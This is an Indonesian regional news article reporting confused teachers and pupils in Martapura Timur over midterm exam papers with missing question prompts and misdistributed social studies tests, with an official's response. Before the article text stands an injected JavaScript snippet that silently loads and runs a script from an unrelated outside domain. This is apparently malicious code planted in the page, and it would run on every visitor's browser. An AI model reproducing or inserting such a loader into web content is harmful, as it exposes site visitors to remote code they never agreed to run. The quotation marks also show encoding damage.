(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Hari ketiga pelaksanaan Ujian Tengah Semester (UTS) Sekolah Dasar (SD), Rabu (11/10) mata pelajaran Baca Tulis Al Qur’an (BTA), sejumlah guru SD di wilayah kerja UPT Pendidikan Kecamatan Martapura Timur dibuat kebingungan.
Pasalnya, sejumlah soal pada mata pelajaran tersebut banyak yang tidak jelas. Disebutkan Ical, seorang pengajar di salah satu SDN di Martapura Timur, pada soal pilihan ganda, ada beberapa soal yang hanya menyebutkan opsi jawaban, sedangkan perintah pada soalnya tidak disertakan.
“Pada soal pilihan ganda, hanya menyebutkan pilihan jawaban, tapi tidak disertai pertanyaan yang lengkap. Tidak hanya murid yang bingung tapi guru juga kebingungan,†kata Ical, Rabu (11/10).
Yang juga sempat membingungkan pula, ujar Ical, adanya distribusi soal mata pelajaran Ilmu Pengetahuan Sosial (IPS) untuk kelas 1 dan 2. Padahal untuk kelas 1 dan 2, tidak ada mata pelajaran IPS.
Terkait adanya soal yang membingungkan, tak hanya murid tapi juga guru tersebut, Hidayat, Kepala Seksi (Kasi) Kurikulum dan Penilaian Bidang Bina SD pada Dinas Pendidikan (Disdik) Kabupaten Banjar mengaku belum menerima laporan dari pihak sekolah atau pihak UPT Pendidikan Kecamatan Martapura Timur.
Disampaikan Hidayat, pembuatan soal UTS SD, sepenuhnya menjadi kewenangan pihak UPT Pendidikan melalui Kelompok Kerja Guru (KKG). Termasuk adanya kesalahan cetak pada soal mata pelajaran BTA, menjadi kewenangan pihak UPT. “Nanti akan kami koordinasikan dengan pihak UPT Pendidikan Kecamatan Martapura Timur untuk mengatahui penyebab kesalahan soal tersbut,†kata Hidayat.
Tentang adanya distribusi soal IPS untuk kelas 1 dan 2, sedangkan mata pelajaran tersebut tidak diajarkan di sekolah tersebut, Hidayat mengatakan, kemungkinan karena di wilayah UPT Pendidikan Kecamatan Martapura Timur sudah ada yang menerapkan Kurikulum 2013.
“Sekolah yang sudah menerapkan Kurikulum 2013, sudah mengajarkan mata pelajaran IPS untuk kelas 1 dan 2. Sedangkan sekolah yang masih menerapkan Kurikulum 2006 belum ada mata pelajaran IPS untuk kelas 1 dan 2,†kata Hidayat.
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.